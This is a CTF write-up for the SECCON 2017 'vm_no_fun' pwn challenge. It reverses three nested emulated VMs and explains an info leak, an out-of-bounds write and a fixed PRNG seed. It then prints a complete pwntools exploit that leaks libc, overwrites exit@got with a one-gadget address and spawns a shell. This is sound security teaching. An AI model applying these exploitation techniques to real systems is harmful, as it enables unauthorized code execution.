SECCON2017 QUALS PWN VM_NO_FUN Write-up

Introduction

In this challenge, it gives a simplified model of virtual machine, that emulates the operations on CPU and an mapped IO. Beginning from this challenge, I plan to give a series of write-ups on virtual machine escape. This post is completely based on [1].

Program Analysis

To emulate the operation of a CPU [2], we first need to retrieve the information of the emulated register and the operand operation. In solution given in [1], all register information is listed in the source code. However, we cannot gain the full info of register usage from the binary. Therefore, the first step of our exploitation is to reverse the emulated operation of register in the binary.
In this challenge, there exists three virtual machines. Therefore, we have to reverse all these three virtual machines as listed below. (All information below can be reversed from the binary.)
VM1

/*Register:  */
es: 0x235140[7]
cs: 0x235140[4]
ip: 0x235140[13]
ax: 0x235140[0]
ds: 0x235140[5]
sp: 0x235140[11]
ss: 0x235140[6]
flag: 0x235140[12]
/*Instruction Format*/
OpCode_OpndNum_Opnd1Type_Opnd1Value_Opnd2Type_Opnd2Value
OpCode: 1byte
OpndNum: 1byte
Opnd1Type: OpndLength | OpndType
Opnd2Type:  OpndLength | OpndType
OpndLenght: byte - 0x40, word - 0x20
OpndType: mem_offset - 0x2, imm - 0x1, reg - 0x0

VM2

/*Register:  */
es: 0x225100[7]
cs: 0x225100[8]
ip: 0x225100[6]
ax: 0x225100[11]
ds: 0x225100[10]
sp: 0x225100[9]
ss: 0x225100[1]
flag: 0x225100[4]
di: 0x225100[2]
si: 0x225100[0]
/*Instruction Format*/
Opcode_Opnd1Value_Opnd1Type_Opnd2Value_Opnd2Type
Opcode: 1byte
Opnd1Value: 4byte
Opnd2Value: 4byte
Opnd1Type: OpndLength | OpndType
Opnd2Type:  OpndLength | OpndType
OpndLenght: byte - 0x40, dword - 0x20
OpndType: mem_offset - 0x2, imm - 0x1, reg - 0x0

VM3

/*Register:  */
es: 0x2150c0[4]
cs: 0x2150c0[10]
ip: 0x2150c0[9]
ax: 0x2150c0[5]
ds: 0x2150c0[3]
ss: 0x2150c0[0]
sp: 0x2150c0[7]
flag: 0x2150c0[12]
di: 0x2150c0[11]
/*Instruction Format*/
Opnd2Size_Opnd2Type_Opnd1Size_Opnd1Type_OpCode_Opnd1Value_Opnd2Value
Opnd1Size: 2bit: 0x1 - word, 0x2 - byte
Opnd1Type: 2bit: reg - 0x1, imm - 0x2, mem_offset - 0x3
Opnd2Size: 2bit: 0x1 - word, 0x2 - byte
Opnd2Type: 2bit: reg - 0x1, imm - 0x2, mem_offset - 0x3

According to the reversed result from the binary, we can learn that only VM1 can interact with user input and user output. VM2 loads instructions into its memory via a shared memory between VM1 and VM2. VM3 loads instructions into its own memory via a shared memory between VM2 and VM3. Similarly, the output of VM2 and VM3 is also done via shared memory.

Vulnerability Analysis

Technically speaking, there exists three vulnerabilities in the binary: (1)Info Leak (2)Memory Corruption, and (3)Fixed seed for pseudo random number generator (PRNG).
(1) In VM2, we gain the ability to modify register. At the same time, VM2 is the only virtual machine that provides operation on 4-byte value/register. In the operation POP_DWORD of VM2, there is no check on the boundary of current stack area. Therefore, we can use POP_DOWRD instruction to load value in srand@got.plt to leak the address of libc.
(2) In VM3, in its RAND operation, it checks the data segment boundary via REG_ES << 4 + REG_DI, but the memory saving operation is done via REG_DS << 4 + REG_DI. Therefore, we can somehow modify the value out of the bound of data segment.
(3) In VM3, in its RAND operation, the value saved in memory is decided by a rand() function. However, in the binary the seed value for the PRNG is a fixed number (0x31337). Which means that the value to be stored in memory is completely predictable.

Exploit Plan

For (1) and (2) mentioned above, there is nothing to take special notice.
For (3), I take an alternative way different from [1]. Since the PRNG used in rand() function is only dependant on the seed value and independent on the machine, I log 0x10000 return values of rand in a local file. For each round of overwriting exit@got.plt, I search in the logged values and decide the number of rand function that need to be skipped.

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("1.2.3.4", 23333);
elif(DEBUG == 1):
    r = process("./inception");
elif(DEBUG == 2):
    r = process("./inception");
    gdb.attach(r, '''source ./script.py''');

VM1_REG_AX = 0;
VM1_REG_SS = 6;
VM1_REG_SP = 11;
VM1_REG_IP = 13;
VM1_REG_CS = 4;
VM1_REG_FLAG = 12;
VM1_REG_ES = 7;
VM1_REG_DS = 5;

VM2_REG_AX = 11;
VM2_REG_SS = 1;
VM2_REG_SP = 9;
VM2_REG_IP = 6;
VM2_REG_CS = 8;
VM2_REG_FLAG = 4;
VM2_REG_ES = 7;
VM2_REG_DS = 10;
VM2_REG_DI = 2;
VM2_REG_SI = 0;

VM3_REG_ES = 4;
VM3_REG_AX = 10;
VM3_REG_CS = 9;
VM3_REG_IP = 5;
VM3_REG_DS = 3;
VM3_REG_SS = 0;
VM3_REG_SP = 7;
VM3_REG_FLAG = 12;
VM3_REG_DI = 11;

VM1_NOP = 0x90;
VM1_PUSH_WORD = 0x50;
VM1_POP_WORD = 0x57;
VM1_CALL = 0xe8;
VM1_REL_JMP = 0xe9;
VM1_HALT = 0xf4;
VM1_RET = 0xc3;
VM1_JMP_IF_NOT_SET = 0x5f;
VM1_JMP_IF_SET = 0x4f;
VM1_MOV = 0x89;
VM1_SUB = 0x29;
VM1_OUT = 0xb; #VM1 read data from share mem to stdout
VM1_IN = 0xc; #VM1 write data to shared mem between VM1 and VM2
VM1_ADD = 0x1;
VM1_CMP_BYTE_SET_IF_EQ = 0x38;
VM1_XOR = 0x31


VM2_NOP = 0x92;
VM2_CALL = 0x8a;
VM2_FAR_RET = 0xbd;
VM2_HALT = 0x83;
VM2_MOV = 0x28;
VM2_CMP_BYTE = 0x04;
VM2_CMP_DWORD_SET_IF_EQ = 0xec;
VM2_DIRECT_JUMP_IF_NOT_SET = 0x57;
VM2_DIRECT_JUMP_IF_SET = 0x51;
VM2_POP_DWORD = 0x20;
VM2_POP_BYTE = 0xda;
VM2_PUSH_DWORD = 0x88;
VM2_PUSH_BYTE = 0x93;
VM2_JMP = 0x75;
VM2_ADD = 0x82;
VM2_SUB = 0xb4;
VM2_RET = 0xbc;
VM2_OUT = 0x85;
VM2_IN = 0xdb;
VM2_MOVSB = 0xc1;
VM2_STOSB = 0xc0;

VM3_MOV = 0x1;
VM3_ADD = 0x2;
VM3_SUB = 0x3;
VM3_XOR = 0x4;
VM3_MUL = 0x5;
VM3_DIV = 0x6;
VM3_PUSH_WORD = 0x7;
VM3_POP_WORD = 0x8;
VM3_PUSH_BYTE = 0x9;
VM3_POP_BYTE = 0xa;
VM3_HALT = 0xb;
VM3_OUT = 0xc;
VM3_IN = 0xd;
VM3_CMP_WORD_SET_IF_EQ = 0xe;
VM3_CMP_BYTE_SET_IF_EQ = 0xf;
VM3_REL_CALL = 0x10;
VM3_RET = 0x11;
VM3_REL_JUMP_IF_SET = 0x12;
VM3_REL_JUMP_IF_NOT_SET = 0x13;
VM3_REL_JUMP = 0x14;
VM3_RAND = 0x15;

fileName = "rand_log";
fd = open(fileName, 'r');
lines = fd.readlines();
fd.close();

randList = list();
for line in lines:
    numStr = line[:-1];
    value = int(numStr, 16);
    randList.append(value);

def arg_reg(num):
    return chr(32) + p16(num)

def arg_reg4(num):
    return '\x20' + p32(num)

def arg_imm(value):
    return '\x21' + p16(value)

def arg_imm4(value):
    return '\x21' + p32(value)

def arg_mem(num):
    return '\x22' + p16(num)

def arg_mem4(num):
    return '\x22' + p32(num)

def vm1_asm(ins, *args):
    asm = "";
    asm += chr(ins);
    asm += chr(len(args));
    if(len(args)):
        for arg in args:
            asm = asm + arg;
    return asm;

def vm2_asm(ins, *args):
    asm = "";
    asm += chr(ins);
    if(len(args)):
        for arg in args:
            asm = asm + arg[1:] + arg[0];
    asm = asm.ljust(11, '\x00');
    return asm;

def vm3_asm(ins, operand_info, *args):
    ans = "";
    ans += p16(ins | operand_info);
    if len(args):
        for arg in args:
            ans += arg
    return ans;

VM3_OP1_REG = 0x100;
VM3_OP1_WORD = 0x400;
VM3_OP2_IMM = 0x2000;
VM3_OP2_WORD = 0x4000;

def execute_VM3(payload3):
    payload1 = "";
    payload1 += vm1_asm(VM1_MOV, arg_reg(VM1_REG_ES), arg_imm(0x600));
    payload1 += vm1_asm(VM1_IN);
    payload1 += vm1_asm(VM1_HALT);

    payload2 = "";
    payload2 += vm2_asm(VM2_MOV, arg_reg4(VM2_REG_ES), arg_imm4(0x600 - 0x80));
    payload2 += vm2_asm(VM2_IN);
    payload2 += vm2_asm(VM2_HALT)

    payload2 = payload2.ljust(0x800, '\x00')
    payload2 += payload3;

    r.recvuntil("Z\n");
    r.send("\x01");
    r.recvuntil("\n");

    VM1_send(payload1);
    VM1_send(payload2);
    
    r.recvuntil("\n");
    r.send('\x02');

    r.recvuntil("\n");

    r.send('\x03');

def VM1_send(data):
    r.send(p32(len(data)) + data);

def rand_solver(cur, target):
    ans = 0;
    while(True):
        if(randList[cur + ans] == target):
            log.info("offset of 0x%02x: 0x%02x" % (target, ans));
            return ans;
        else:
            ans += 1;

def exploit():
    payload1 = "";
    payload1 += vm1_asm(VM1_MOV, arg_reg(VM1_REG_ES), arg_imm(0x600));
    payload1 += vm1_asm(VM1_IN);
    payload1 += vm1_asm(VM1_HALT);
    
    payload2 = "";
    payload2 += vm2_asm(VM2_MOV, arg_reg4(VM2_REG_SS), arg_imm4(0));
    payload2 += vm2_asm(VM2_MOV, arg_reg4(VM2_REG_SP), arg_imm4((0x205058 -0x215100) & 0xffffffff ));
    payload2 += vm2_asm(VM2_POP_DWORD, arg_reg4(VM2_REG_AX));
    payload2 += vm2_asm(VM2_POP_DWORD, arg_reg4(VM2_REG_SI));

    payload2 += vm2_asm(VM2_MOV, arg_reg4(VM2_REG_DS), arg_reg4(VM2_REG_ES));

    payload2 += vm2_asm(VM2_MOV, arg_mem4(0), arg_reg4(VM2_REG_AX));
    payload2 += vm2_asm(VM2_MOV, arg_mem4(4), arg_reg4(VM2_REG_SI));

    payload2 += vm2_asm(VM2_MOV, arg_reg4(VM2_REG_AX), arg_imm4(8));
    payload2 += vm2_asm(VM2_OUT);

    payload2 += vm2_asm(VM2_HALT);

    payload2 = payload2.ljust(0x800, '\x00');

    r.recvuntil('Z\n');
    r.send('\x01');
    r.recvuntil('\n');
    VM1_send(payload1);
    VM1_send(payload2);

    r.recvuntil('Z\n');
    r.send('\x02');
    r.recvuntil('\n');

    r.recvuntil("Z\n");
    r.send('\x04');
    r.recvuntil('\n');

    payload1 = "";
    payload1 += vm1_asm(VM1_MOV, arg_reg(VM1_REG_ES), arg_imm(0x800));
    payload1 += vm1_asm(VM1_MOV, arg_reg(VM1_REG_AX), arg_imm(8));
    payload1 += vm1_asm(VM1_OUT);
    payload1 += vm1_asm(VM1_HALT);

    r.send('\x01');
    r.recvuntil("\n");
    VM1_send(payload1);
    leak = r.recv(8);
    log.info("Leak: 0x%x" % u64(leak));
    libcBaseAddr = u64(leak) - 0x3a8d0;
    log.info("Libc Base Addr: 0x%x" % libcBaseAddr);

    #targetValue = 0x414141414141;
    targetValue = libcBaseAddr + 0x4526a;
    cur = 0;

    for i in range(0, 8):
        target = targetValue & 0xff;
        targetValue = targetValue >> 8;
        offset = rand_solver(cur, target);
        cur = cur + offset + 1;
        log.info("Processing %dth byte 0x%02x" % (i, target));

        payload3 = "";
        payload3 += vm3_asm(VM3_MOV, VM3_OP1_REG|VM3_OP1_WORD|VM3_OP2_IMM|VM3_OP2_WORD, p16(VM3_REG_DI), p16(0));
        payload3 += vm3_asm(VM3_RAND, 0)*offset;

        payload3 += vm3_asm(VM3_MOV, VM3_OP1_REG|VM3_OP1_WORD|VM3_OP2_IMM|VM3_OP2_WORD, p16(VM3_REG_DS), p16(0));
        
        payload3 += vm3_asm(VM3_MOV, VM3_OP1_REG|VM3_OP1_WORD|VM3_OP2_IMM|VM3_OP2_WORD, p16(VM3_REG_DI), p16(-(0x2050C0 - 0x205018 - i) & 0xffff));
        payload3 += vm3_asm(VM3_RAND, 0);
        payload3 += vm3_asm(VM3_HALT, 0);

        execute_VM3(payload3);

    log.info("finish overwriting");
    execute_VM3('\xff');
    r.interactive();

exploit();

Reference

[1] https://github.com/SECCON/SECCON2017_online_CTF/tree/master/pwn/500_vm_no_fun
[2] https://swtch.com/~rsc/talks/pcarch.pdf

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.